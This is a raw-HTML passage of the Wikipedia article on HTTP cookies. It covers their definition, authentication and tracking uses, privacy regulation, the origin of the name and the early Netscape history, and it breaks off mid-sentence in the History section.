data-title="HTTP cookie" data-language-autonym="粵語" data-language-local-name="Cantonese" class="interlanguage-link-target"><span>粵語</span></a></li><li class="interlanguage-link interwiki-zh mw-list-item"><a href="https://zh.wikipedia.org/wiki/Cookie" title="Cookie – Chinese" lang="zh" hreflang="zh" data-title="Cookie" data-language-autonym="中文" data-language-local-name="Chinese" class="interlanguage-link-target"><span>中文</span></a></li> </ul> <div class="after-portlet after-portlet-lang"><span class="wb-langlinks-edit wb-langlinks-link"><a href="https://www.wikidata.org/wiki/Special:EntityPage/Q178995#sitelinks-wikipedia" title="Edit interlanguage links" class="wbc-editpage">Edit links</a></span></div> </div> </div> </div> </header> <div class="vector-page-toolbar"> <div class="vector-page-toolbar-container"> <div id="left-navigation"> <nav aria-label="Namespaces"> <div id="p-associated-pages" class="vector-menu vector-menu-tabs mw-portlet mw-portlet-associated-pages" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="ca-nstab-main" class="selected vector-tab-noicon mw-list-item"><a href="/wiki/HTTP_cookie" title="View the content page [c]" accesskey="c"><span>Article</span></a></li><li id="ca-talk" class="vector-tab-noicon mw-list-item"><a href="/wiki/Talk:HTTP_cookie" rel="discussion" title="Discuss improvements to the content page [t]" accesskey="t"><span>Talk</span></a></li> </ul> </div> </div> <div id="vector-variants-dropdown" class="vector-dropdown emptyPortlet" > <input type="checkbox" id="vector-variants-dropdown-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-vector-variants-dropdown" class="vector-dropdown-checkbox " aria-label="Change language variant" > <label id="vector-variants-dropdown-label" for="vector-variants-dropdown-checkbox" class="vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet" aria-hidden="true" ><span class="vector-dropdown-label-text">English</span> </label> <div class="vector-dropdown-content"> <div id="p-variants" class="vector-menu mw-portlet mw-portlet-variants emptyPortlet" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> </ul> </div> </div> </div> </div> </nav> </div> <div id="right-navigation" class="vector-collapsible"> <nav aria-label="Views"> <div id="p-views" class="vector-menu vector-menu-tabs mw-portlet mw-portlet-views" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="ca-view" class="selected vector-tab-noicon mw-list-item"><a href="/wiki/HTTP_cookie"><span>Read</span></a></li><li id="ca-viewsource" class="vector-tab-noicon mw-list-item"><a href="/w/index.php?title=HTTP_cookie&action=edit" title="This page is protected.
You can view its source [e]" accesskey="e"><span>View source</span></a></li><li id="ca-history" class="vector-tab-noicon mw-list-item"><a href="/w/index.php?title=HTTP_cookie&action=history" title="Past revisions of this page [h]" accesskey="h"><span>View history</span></a></li> </ul> </div> </div> </nav> <nav class="vector-page-tools-landmark" aria-label="Page tools"> <div id="vector-page-tools-dropdown" class="vector-dropdown vector-page-tools-dropdown" > <input type="checkbox" id="vector-page-tools-dropdown-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-vector-page-tools-dropdown" class="vector-dropdown-checkbox " aria-label="Tools" > <label id="vector-page-tools-dropdown-label" for="vector-page-tools-dropdown-checkbox" class="vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet" aria-hidden="true" ><span class="vector-dropdown-label-text">Tools</span> </label> <div class="vector-dropdown-content"> <div id="vector-page-tools-unpinned-container" class="vector-unpinned-container"> <div id="vector-page-tools" class="vector-page-tools vector-pinnable-element"> <div class="vector-pinnable-header vector-page-tools-pinnable-header vector-pinnable-header-unpinned" data-feature-name="page-tools-pinned" data-pinnable-element-id="vector-page-tools" data-pinned-container-id="vector-page-tools-pinned-container" data-unpinned-container-id="vector-page-tools-unpinned-container" > <div class="vector-pinnable-header-label">Tools</div> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-pin-button" data-event-name="pinnable-header.vector-page-tools.pin">move to sidebar</button> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-unpin-button" data-event-name="pinnable-header.vector-page-tools.unpin">hide</button> </div> <div id="p-cactions" class="vector-menu mw-portlet mw-portlet-cactions emptyPortlet vector-has-collapsible-items" title="More options" > <div class="vector-menu-heading"> Actions </div> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="ca-more-view" class="selected vector-more-collapsible-item mw-list-item"><a href="/wiki/HTTP_cookie"><span>Read</span></a></li><li id="ca-more-viewsource" class="vector-more-collapsible-item mw-list-item"><a href="/w/index.php?title=HTTP_cookie&action=edit"><span>View source</span></a></li><li id="ca-more-history" class="vector-more-collapsible-item mw-list-item"><a href="/w/index.php?title=HTTP_cookie&action=history"><span>View history</span></a></li> </ul> </div> </div> <div id="p-tb" class="vector-menu mw-portlet mw-portlet-tb" > <div class="vector-menu-heading"> General </div> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="t-whatlinkshere" class="mw-list-item"><a href="/wiki/Special:WhatLinksHere/HTTP_cookie" title="List of all English Wikipedia pages containing links to this page [j]" accesskey="j"><span>What links here</span></a></li><li id="t-recentchangeslinked" class="mw-list-item"><a href="/wiki/Special:RecentChangesLinked/HTTP_cookie" rel="nofollow" title="Recent changes in pages linked from this page [k]" accesskey="k"><span>Related changes</span></a></li><li id="t-upload" class="mw-list-item"><a href="/wiki/Wikipedia:File_Upload_Wizard" title="Upload files [u]" accesskey="u"><span>Upload file</span></a></li><li id="t-specialpages" class="mw-list-item"><a href="/wiki/Special:SpecialPages" title="A list of all special pages [q]" accesskey="q"><span>Special pages</span></a></li><li id="t-permalink" class="mw-list-item"><a href="/w/index.php?title=HTTP_cookie&oldid=1249301321" title="Permanent link to this revision of this page"><span>Permanent link</span></a></li><li id="t-info" class="mw-list-item"><a href="/w/index.php?title=HTTP_cookie&action=info" title="More information about this page"><span>Page information</span></a></li><li id="t-cite" class="mw-list-item"><a href="/w/index.php?title=Special:CiteThisPage&page=HTTP_cookie&id=1249301321&wpFormIdentifier=titleform" title="Information on how to cite this page"><span>Cite this page</span></a></li><li id="t-urlshortener" class="mw-list-item"><a href="/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FHTTP_cookie"><span>Get shortened URL</span></a></li><li id="t-urlshortener-qrcode" class="mw-list-item"><a href="/w/index.php?title=Special:QrCode&url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FHTTP_cookie"><span>Download QR code</span></a></li> </ul> </div> </div> <div id="p-coll-print_export" class="vector-menu mw-portlet mw-portlet-coll-print_export" > <div class="vector-menu-heading"> Print/export </div> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="coll-download-as-rl" class="mw-list-item"><a href="/w/index.php?title=Special:DownloadAsPdf&page=HTTP_cookie&action=show-download-screen" title="Download this page as a PDF file"><span>Download as PDF</span></a></li><li id="t-print" class="mw-list-item"><a href="/w/index.php?title=HTTP_cookie&printable=yes" title="Printable version of this page [p]" accesskey="p"><span>Printable version</span></a></li> </ul> </div> </div> <div id="p-wikibase-otherprojects" class="vector-menu mw-portlet mw-portlet-wikibase-otherprojects" > <div class="vector-menu-heading"> In other projects </div> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li class="wb-otherproject-link wb-otherproject-commons mw-list-item"><a href="https://commons.wikimedia.org/wiki/Category:HTTP_cookies" hreflang="en"><span>Wikimedia Commons</span></a></li><li id="t-wikibase" class="wb-otherproject-link wb-otherproject-wikibase-dataitem mw-list-item"><a href="https://www.wikidata.org/wiki/Special:EntityPage/Q178995" title="Structured data on this page hosted by Wikidata [g]" accesskey="g"><span>Wikidata item</span></a></li> </ul> </div> </div> </div> </div> </div> </div> </nav> </div> </div> </div> <div class="vector-column-end"> <div class="vector-sticky-pinned-container"> <nav class="vector-page-tools-landmark" aria-label="Page tools"> <div id="vector-page-tools-pinned-container" class="vector-pinned-container"> </div> </nav> <nav class="vector-appearance-landmark" aria-label="Appearance"> <div id="vector-appearance-pinned-container" class="vector-pinned-container"> <div id="vector-appearance" class="vector-appearance vector-pinnable-element"> <div class="vector-pinnable-header vector-appearance-pinnable-header vector-pinnable-header-pinned" data-feature-name="appearance-pinned" data-pinnable-element-id="vector-appearance" data-pinned-container-id="vector-appearance-pinned-container" data-unpinned-container-id="vector-appearance-unpinned-container" > <div class="vector-pinnable-header-label">Appearance</div> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-pin-button" data-event-name="pinnable-header.vector-appearance.pin">move to sidebar</button> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-unpin-button" data-event-name="pinnable-header.vector-appearance.unpin">hide</button> </div> </div> </div> </nav> </div> </div> <div id="bodyContent" class="vector-body" aria-labelledby="firstHeading" data-mw-ve-target-container> <div class="vector-body-before-content"> <div class="mw-indicators"> <div id="mw-indicator-pp-default" class="mw-indicator"><div class="mw-parser-output"><span typeof="mw:File"><a href="/wiki/Wikipedia:Protection_policy#semi" title="This article is semi-protected due to vandalism"><img alt="Page semi-protected" src="//upload.wikimedia.org/wikipedia/en/thumb/1/1b/Semi-protection-shackle.svg/20px-Semi-protection-shackle.svg.png" decoding="async" width="20" height="20" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/en/thumb/1/1b/Semi-protection-shackle.svg/30px-Semi-protection-shackle.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/1/1b/Semi-protection-shackle.svg/40px-Semi-protection-shackle.svg.png 2x" data-file-width="512" data-file-height="512" /></a></span></div></div> <div id="mw-indicator-spoken-icon" class="mw-indicator"><div class="mw-parser-output"><span typeof="mw:File"><a href="/wiki/File:HTTP_cookie.ogg" title="Listen to this article"><img alt="Listen to this article" src="//upload.wikimedia.org/wikipedia/commons/thumb/4/47/Sound-icon.svg/20px-Sound-icon.svg.png" decoding="async" width="20" height="15" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/4/47/Sound-icon.svg/30px-Sound-icon.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/4/47/Sound-icon.svg/40px-Sound-icon.svg.png 2x" data-file-width="128" data-file-height="96" /></a></span></div></div> </div> <div id="siteSub" class="noprint">From Wikipedia, the free encyclopedia</div> </div> <div id="contentSub"><div id="mw-content-subtitle"></div></div> <div id="mw-content-text" class="mw-body-content"><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><div class="shortdescription nomobile noexcerpt noprint searchaux" style="display:none">Small pieces of data stored by a web browser while on a website</div> <p class="mw-empty-elt"> </p> <style data-mw-deduplicate="TemplateStyles:r1129693374">.mw-parser-output .hlist dl,.mw-parser-output .hlist ol,.mw-parser-output .hlist ul{margin:0;padding:0}.mw-parser-output .hlist dd,.mw-parser-output .hlist dt,.mw-parser-output .hlist li{margin:0;display:inline}.mw-parser-output .hlist.inline,.mw-parser-output .hlist.inline dl,.mw-parser-output .hlist.inline ol,.mw-parser-output .hlist.inline ul,.mw-parser-output .hlist dl dl,.mw-parser-output .hlist dl ol,.mw-parser-output .hlist dl ul,.mw-parser-output .hlist ol dl,.mw-parser-output .hlist ol ol,.mw-parser-output .hlist ol ul,.mw-parser-output .hlist ul dl,.mw-parser-output .hlist ul ol,.mw-parser-output .hlist ul ul{display:inline}.mw-parser-output .hlist .mw-empty-li{display:none}.mw-parser-output .hlist dt::after{content:": "}.mw-parser-output .hlist dd::after,.mw-parser-output .hlist li::after{content:" · ";font-weight:bold}.mw-parser-output .hlist dd:last-child::after,.mw-parser-output .hlist dt:last-child::after,.mw-parser-output .hlist li:last-child::after{content:none}.mw-parser-output .hlist dd dd:first-child::before,.mw-parser-output .hlist dd dt:first-child::before,.mw-parser-output .hlist dd li:first-child::before,.mw-parser-output .hlist dt dd:first-child::before,.mw-parser-output .hlist dt dt:first-child::before,.mw-parser-output .hlist dt li:first-child::before,.mw-parser-output .hlist li dd:first-child::before,.mw-parser-output .hlist li dt:first-child::before,.mw-parser-output .hlist li li:first-child::before{content:" (";font-weight:normal}.mw-parser-output .hlist dd dd:last-child::after,.mw-parser-output .hlist dd dt:last-child::after,.mw-parser-output .hlist dd li:last-child::after,.mw-parser-output .hlist dt dd:last-child::after,.mw-parser-output .hlist dt dt:last-child::after,.mw-parser-output .hlist dt li:last-child::after,.mw-parser-output .hlist li dd:last-child::after,.mw-parser-output .hlist li dt:last-child::after,.mw-parser-output .hlist li li:last-child::after{content:")";font-weight:normal}.mw-parser-output .hlist ol{counter-reset:listitem}.mw-parser-output .hlist ol>li{counter-increment:listitem}.mw-parser-output .hlist ol>li::before{content:" "counter(listitem)"\a0 "}.mw-parser-output .hlist dd ol>li:first-child::before,.mw-parser-output .hlist dt ol>li:first-child::before,.mw-parser-output .hlist li ol>li:first-child::before{content:" ("counter(listitem)"\a0 "}</style><style data-mw-deduplicate="TemplateStyles:r1246091330">.mw-parser-output .sidebar{width:22em;float:right;clear:right;margin:0.5em 0 1em 1em;background:var(--background-color-neutral-subtle,#f8f9fa);border:1px solid var(--border-color-base,#a2a9b1);padding:0.2em;text-align:center;line-height:1.4em;font-size:88%;border-collapse:collapse;display:table}body.skin-minerva .mw-parser-output .sidebar{display:table!important;float:right!important;margin:0.5em 0 1em 1em!important}.mw-parser-output .sidebar-subgroup{width:100%;margin:0;border-spacing:0}.mw-parser-output .sidebar-left{float:left;clear:left;margin:0.5em 1em 1em 0}.mw-parser-output .sidebar-none{float:none;clear:both;margin:0.5em 1em 1em 0}.mw-parser-output .sidebar-outer-title{padding:0 0.4em 0.2em;font-size:125%;line-height:1.2em;font-weight:bold}.mw-parser-output .sidebar-top-image{padding:0.4em}.mw-parser-output .sidebar-top-caption,.mw-parser-output .sidebar-pretitle-with-top-image,.mw-parser-output .sidebar-caption{padding:0.2em 0.4em 0;line-height:1.2em}.mw-parser-output .sidebar-pretitle{padding:0.4em 0.4em 0;line-height:1.2em}.mw-parser-output .sidebar-title,.mw-parser-output .sidebar-title-with-pretitle{padding:0.2em 0.8em;font-size:145%;line-height:1.2em}.mw-parser-output .sidebar-title-with-pretitle{padding:0.1em 0.4em}.mw-parser-output .sidebar-image{padding:0.2em 0.4em 0.4em}.mw-parser-output .sidebar-heading{padding:0.1em 0.4em}.mw-parser-output .sidebar-content{padding:0 0.5em 0.4em}.mw-parser-output .sidebar-content-with-subgroup{padding:0.1em 0.4em 0.2em}.mw-parser-output .sidebar-above,.mw-parser-output .sidebar-below{padding:0.3em 0.8em;font-weight:bold}.mw-parser-output .sidebar-collapse .sidebar-above,.mw-parser-output .sidebar-collapse .sidebar-below{border-top:1px solid #aaa;border-bottom:1px solid #aaa}.mw-parser-output .sidebar-navbar{text-align:right;font-size:115%;padding:0 0.4em 0.4em}.mw-parser-output .sidebar-list-title{padding:0 0.4em;text-align:left;font-weight:bold;line-height:1.6em;font-size:105%}.mw-parser-output .sidebar-list-title-c{padding:0 0.4em;text-align:center;margin:0 3.3em}@media(max-width:640px){body.mediawiki .mw-parser-output .sidebar{width:100%!important;clear:both;float:none!important;margin-left:0!important;margin-right:0!important}}body.skin--responsive .mw-parser-output .sidebar a>img{max-width:none!important}@media screen{html.skin-theme-clientpref-night .mw-parser-output .sidebar:not(.notheme) .sidebar-list-title,html.skin-theme-clientpref-night .mw-parser-output .sidebar:not(.notheme) .sidebar-title-with-pretitle{background:transparent!important}html.skin-theme-clientpref-night .mw-parser-output .sidebar:not(.notheme) .sidebar-title-with-pretitle a{color:var(--color-progressive)!important}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .sidebar:not(.notheme) .sidebar-list-title,html.skin-theme-clientpref-os .mw-parser-output .sidebar:not(.notheme) .sidebar-title-with-pretitle{background:transparent!important}html.skin-theme-clientpref-os .mw-parser-output .sidebar:not(.notheme) .sidebar-title-with-pretitle a{color:var(--color-progressive)!important}}@media print{body.ns-0 .mw-parser-output .sidebar{display:none!important}}</style><table class="sidebar nomobile nowraplinks hlist"><tbody><tr><th class="sidebar-title"><a href="/wiki/HTTP" title="HTTP">HTTP</a></th></tr><tr><td class="sidebar-image"><span typeof="mw:File"><a href="/wiki/File:HTTP_logo.svg" class="mw-file-description"><img src="//upload.wikimedia.org/wikipedia/commons/thumb/5/5b/HTTP_logo.svg/180px-HTTP_logo.svg.png" decoding="async" width="180" height="96" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/5/5b/HTTP_logo.svg/270px-HTTP_logo.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/5/5b/HTTP_logo.svg/360px-HTTP_logo.svg.png 2x" data-file-width="512" data-file-height="274" /></a></span></td></tr><tr><td class="sidebar-content"> <ul><li><a href="/wiki/HTTP_persistent_connection" title="HTTP persistent connection">Persistence</a></li> <li><a href="/wiki/HTTP_compression" title="HTTP compression">Compression</a></li> <li><a href="/wiki/HTTPS" title="HTTPS">HTTPS</a></li> <li><a href="/wiki/QUIC" title="QUIC">QUIC</a></li></ul></td> </tr><tr><th class="sidebar-heading"> <a href="/wiki/HTTP#Request_methods" title="HTTP">Request methods</a></th></tr><tr><td class="sidebar-content"> <ul><li><a href="/wiki/HTTP#Request_methods" title="HTTP">OPTIONS</a></li> <li><a href="/wiki/HTTP#Request_methods" title="HTTP">GET</a></li> <li><a href="/wiki/HTTP#Request_methods" title="HTTP">HEAD</a></li> <li><a href="/wiki/POST_(HTTP)" title="POST (HTTP)">POST</a></li> <li><a href="/wiki/HTTP#Request_methods" title="HTTP">PUT</a></li> <li><a href="/wiki/HTTP#Request_methods" title="HTTP">DELETE</a></li> <li><a href="/wiki/HTTP#Request_methods" title="HTTP">TRACE</a></li> <li><a href="/wiki/HTTP#Request_methods" title="HTTP">CONNECT</a></li> <li><a href="/wiki/PATCH_(HTTP)" title="PATCH (HTTP)">PATCH</a></li></ul></td> </tr><tr><th class="sidebar-heading"> <a href="/wiki/List_of_HTTP_header_fields" title="List of HTTP header fields">Header fields</a></th></tr><tr><td class="sidebar-content"> <ul><li><a class="mw-selflink selflink">Cookie</a></li> <li><a href="/wiki/HTTP_ETag" title="HTTP ETag">ETag</a></li> <li><a href="/wiki/HTTP_location" title="HTTP location">Location</a></li> <li><a href="/wiki/HTTP_referer" title="HTTP referer">HTTP referer</a></li> <li><a href="/wiki/Do_Not_Track" title="Do Not Track">DNT</a></li> <li><a href="/wiki/X-Forwarded-For" title="X-Forwarded-For">X-Forwarded-For</a></li></ul></td> </tr><tr><th class="sidebar-heading"> <a href="/wiki/List_of_HTTP_status_codes" title="List of HTTP status codes">Response status codes</a></th></tr><tr><td class="sidebar-content"> <ul><li><a href="/wiki/HTTP_301" title="HTTP 301">301 Moved Permanently</a></li> <li><a href="/wiki/HTTP_302" title="HTTP 302">302 Found</a></li> <li><a href="/wiki/HTTP_303" title="HTTP 303">303 See Other</a></li> <li><a href="/wiki/HTTP_403" title="HTTP 403">403 Forbidden</a></li> <li><a href="/wiki/HTTP_404" title="HTTP 404">404 Not Found</a></li> <li><a href="/wiki/HTTP_451" title="HTTP 451">451 Unavailable for Legal Reasons</a></li></ul></td> </tr><tr><th class="sidebar-heading"> Security access control methods</th></tr><tr><td class="sidebar-content"> <ul><li><a href="/wiki/Basic_access_authentication" title="Basic access authentication">Basic access authentication</a></li> <li><a href="/wiki/Digest_access_authentication" title="Digest access authentication">Digest access authentication</a></li></ul></td> </tr><tr><th class="sidebar-heading"> Security vulnerabilities</th></tr><tr><td class="sidebar-content"> <ul><li><a href="/wiki/HTTP_header_injection" title="HTTP header injection">HTTP header injection</a></li> <li><a href="/wiki/HTTP_request_smuggling" title="HTTP request smuggling">HTTP request smuggling</a></li> <li><a href="/wiki/HTTP_response_splitting" title="HTTP response splitting">HTTP response splitting</a></li> <li><a href="/wiki/HTTP_parameter_pollution" title="HTTP parameter pollution">HTTP parameter pollution</a></li></ul></td> </tr><tr><td class="sidebar-navbar"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1129693374"><style data-mw-deduplicate="TemplateStyles:r1239400231">.mw-parser-output .navbar{display:inline;font-size:88%;font-weight:normal}.mw-parser-output .navbar-collapse{float:left;text-align:left}.mw-parser-output .navbar-boxtext{word-spacing:0}.mw-parser-output .navbar ul{display:inline-block;white-space:nowrap;line-height:inherit}.mw-parser-output .navbar-brackets::before{margin-right:-0.125em;content:"[ "}.mw-parser-output .navbar-brackets::after{margin-left:-0.125em;content:" ]"}.mw-parser-output .navbar li{word-spacing:-0.125em}.mw-parser-output .navbar a>span,.mw-parser-output .navbar a>abbr{text-decoration:inherit}.mw-parser-output .navbar-mini abbr{font-variant:small-caps;border-bottom:none;text-decoration:none;cursor:inherit}.mw-parser-output .navbar-ct-full{font-size:114%;margin:0 7em}.mw-parser-output .navbar-ct-mini{font-size:114%;margin:0 4em}html.skin-theme-clientpref-night .mw-parser-output .navbar li a abbr{color:var(--color-base)!important}@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .navbar li a abbr{color:var(--color-base)!important}}@media print{.mw-parser-output .navbar{display:none!important}}</style><div class="navbar plainlinks hlist navbar-mini"><ul><li class="nv-view"><a href="/wiki/Template:HTTP" title="Template:HTTP"><abbr title="View this template">v</abbr></a></li><li class="nv-talk"><a href="/wiki/Template_talk:HTTP" title="Template talk:HTTP"><abbr title="Discuss this template">t</abbr></a></li><li class="nv-edit"><a href="/wiki/Special:EditPage/Template:HTTP" title="Special:EditPage/Template:HTTP"><abbr title="Edit this template">e</abbr></a></li></ul></div></td></tr></tbody></table> <p><b>HTTP cookies</b> (also called <b>web cookies</b>, <b>Internet cookies</b>, <b>browser cookies</b>, or simply <b>cookies</b>) are small blocks of <a href="/wiki/Data_(computing)" class="mw-redirect" title="Data (computing)">data</a> created by a <a href="/wiki/Web_server" title="Web server">web server</a> while a <a href="/wiki/User_(computing)" title="User (computing)">user</a> is <a href="/wiki/Browsing" title="Browsing">browsing</a> a <a href="/wiki/Website" title="Website">website</a> and placed on the user's computer or other device by the user's <a href="/wiki/Web_browser" title="Web browser">web browser</a>. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session. </p><p>Cookies serve useful and sometimes essential functions on the <a href="/wiki/World_Wide_Web" title="World Wide Web">web</a>. They enable web servers to store <a href="/wiki/Program_state" class="mw-redirect" title="Program state">stateful</a> information (such as items added in the shopping cart in an <a href="/wiki/Online_shopping" title="Online shopping">online store</a>) on the user's device or to track the user's browsing activity (including clicking particular buttons, <a href="/wiki/Access_control" title="Access control">logging in</a>, or recording which <a href="/wiki/Web_browsing_history" title="Web browsing history">pages were visited in the past</a>).<sup id="cite_ref-1" class="reference"><a href="#cite_note-1"><span class="cite-bracket">[</span>1<span class="cite-bracket">]</span></a></sup> They can also be used to save information that the user previously entered into <a href="/wiki/Form_(HTML)" class="mw-redirect" title="Form (HTML)">form fields</a>, such as names, addresses, <a href="/wiki/Password" title="Password">passwords</a>, and <a href="/wiki/Payment_card_number" title="Payment card number">payment card numbers</a> for subsequent use. </p><p><b>Authentication cookies</b> are commonly used by web servers to <a href="/wiki/Authentication" title="Authentication">authenticate</a> that a user is logged in, and with which <a href="/wiki/Account_verification" title="Account verification">account</a> they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is <a href="/wiki/Encryption" title="Encryption">encrypted</a>. <a href="/wiki/Vulnerability_(computing)" class="mw-redirect" title="Vulnerability (computing)">Security vulnerabilities</a> may allow a cookie's data to be read by an <a href="/wiki/Security_hacker" title="Security hacker">attacker</a>, used to gain access to <a href="/wiki/Personal_data" title="Personal data">user data</a>, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see <a href="/wiki/Cross-site_scripting" title="Cross-site scripting">cross-site scripting</a> and <a href="/wiki/Cross-site_request_forgery" title="Cross-site request forgery">cross-site request forgery</a> for examples).<sup id="cite_ref-UjTred_2-0" class="reference"><a href="#cite_note-UjTred-2"><span class="cite-bracket">[</span>2<span class="cite-bracket">]</span></a></sup> </p><p><b>Tracking cookies</b>, and especially <a href="#Third-party_cookie">third-party tracking cookies</a>, are commonly used as ways to compile long-term records of individuals' <a href="/wiki/Web_browsing_history" title="Web browsing history">browsing histories</a> — a potential <a href="/wiki/Internet_privacy#HTTP_cookies" title="Internet privacy">privacy concern</a> that prompted European<sup id="cite_ref-mb6wv_3-0" class="reference"><a href="#cite_note-mb6wv-3"><span class="cite-bracket">[</span>3<span class="cite-bracket">]</span></a></sup> and U.S. lawmakers to take action in 2011.<sup id="cite_ref-eulaw_4-0" class="reference"><a href="#cite_note-eulaw-4"><span class="cite-bracket">[</span>4<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-KM1a4_5-0" class="reference"><a href="#cite_note-KM1a4-5"><span class="cite-bracket">[</span>5<span class="cite-bracket">]</span></a></sup> European law requires that all websites targeting <a href="/wiki/European_Union" title="European Union">European Union</a> member states gain "<a href="/wiki/Informed_consent" title="Informed consent">informed consent</a>" from users before storing non-essential cookies on their device. </p> <meta property="mw:PageProp/toc" /> <div class="mw-heading mw-heading2"><h2 id="Background">Background</h2></div> <figure class="mw-default-size" typeof="mw:File/Thumb"><a href="/wiki/File:Cookie_stack.jpg" class="mw-file-description"><img src="//upload.wikimedia.org/wikipedia/commons/thumb/8/80/Cookie_stack.jpg/220px-Cookie_stack.jpg" decoding="async" width="220" height="147" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/8/80/Cookie_stack.jpg/330px-Cookie_stack.jpg 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/8/80/Cookie_stack.jpg/440px-Cookie_stack.jpg 2x" data-file-width="6000" data-file-height="4000" /></a><figcaption>HTTP cookies share their name with <a href="/wiki/Cookie" title="Cookie">a popular baked treat</a>.</figcaption></figure> <div class="mw-heading mw-heading3"><h3 id="Origin_of_the_name">Origin of the name</h3></div> <p>The term <i>cookie</i> was coined by web-browser programmer <a href="/wiki/Lou_Montulli" title="Lou Montulli">Lou Montulli</a>. It was derived from the term <i><a href="/wiki/Magic_cookie" title="Magic cookie">magic cookie</a></i>, which is a packet of data a program receives and sends back unchanged, used by <a href="/wiki/Unix" title="Unix">Unix</a> programmers.<sup id="cite_ref-wdi6I_6-0" class="reference"><a href="#cite_note-wdi6I-6"><span class="cite-bracket">[</span>6<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-xVtjM_7-0" class="reference"><a href="#cite_note-xVtjM-7"><span class="cite-bracket">[</span>7<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="History">History</h3></div> <p>Magic cookies were already used in computing when computer programmer <a href="/wiki/Lou_Montulli" title="Lou Montulli">Lou Montulli</a> had the idea of using them in web communications in June 1994.<sup id="cite_ref-N4WV7_8-0" class="reference"><a href="#cite_note-N4WV7-8"><span class="cite-bracket">[</span>8<span class="cite-bracket">]</span></a></sup> At the time, he was an employee of <a href="/wiki/Netscape_Communications" class="mw-redirect" title="Netscape Communications">Netscape Communications</a>, which was developing an <a href="/wiki/E-commerce" title="E-commerce">e-commerce</a> application for <a href="/wiki/MCI_Inc." title="MCI Inc.">MCI</a>. <a href="/wiki/Vint_Cerf" title="Vint Cerf">Vint Cerf</a> and <a href="/wiki/John_Klensin" title="John Klensin">John Klensin</a> represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably implementing a <a href="/wiki/Shopping_cart_software" title="Shopping cart software">virtual shopping cart</a>.<sup id="cite_ref-kesan_9-0" class="reference"><a href="#cite_note-kesan-9"><span class="cite-bracket">[</span>9<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-kristol_10-0" class="reference"><a href="#cite_note-kristol-10"><span class="cite-bracket">[</span>10<span class="cite-bracket">]</span></a></sup> </p><p>Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of <a href="/wiki/Netscape_Navigator" title="Netscape Navigator">Mosaic Netscape</a>, released on October 13, 1994,<sup id="cite_ref-JgNeY_11-0" class="reference"><a href="#cite_note-JgNeY-11"><span class="cite-bracket">[</span>11<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-8YpTv_12-0" class="reference"><a href="#cite_note-8YpTv-12"><span class="cite-bracket">[</span>12<span class="cite-bracket">]</span></a></sup> supported cookies.<sup id="cite_ref-kristol_10-1" class="reference"><a href="#cite_note-kristol-10"><span class="cite-bracket">[</span>10<span class="cite-bracket">]</span></a></sup> The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, which was granted in 1998.<sup id="cite_ref-13" class="reference"><a href="#cite_note-13"><span class="cite-bracket">[</span>13<span class="cite-bracket">]</span></a></sup> Support for cookies was integrated with <a href="/wiki/Internet_Explorer" title="Internet Explorer">Internet Explorer</a> in version 2, released in October 1995.<sup id="cite_ref-95BiI_14-0" class="reference"><a href="#cite_note-95BiI-14"><span class="cite-bracket">[</span>14<span class="cite-bracket">]</span></a></sup> </p><p>The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence.<sup id="cite_ref-15" class="reference"><a href="#cite_note-15"><span class="cite-bracket">[</span>15<span class="cite-bracket">]</span></a></sup> The public learned about cookies after the <i><a href="/wiki/Financial_Times" title="Financial Times">Financial Times</a></i> published an article about them on February 12, 1996.<sup id="cite_ref-B3JMd_16-0" class="reference"><a href="#cite_note-B3JMd-16"><span class="cite-bracket">[</span>16<span class="cite-bracket">]</span></a></sup> In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. <a href="/wiki/Federal_Trade_Commission" title="Federal Trade Commission">Federal Trade Commission</a> hearings in 1996 and 1997.<sup id="cite_ref-UjTred_2-1" class="reference"><a href="#cite_note-UjTred-2"><span 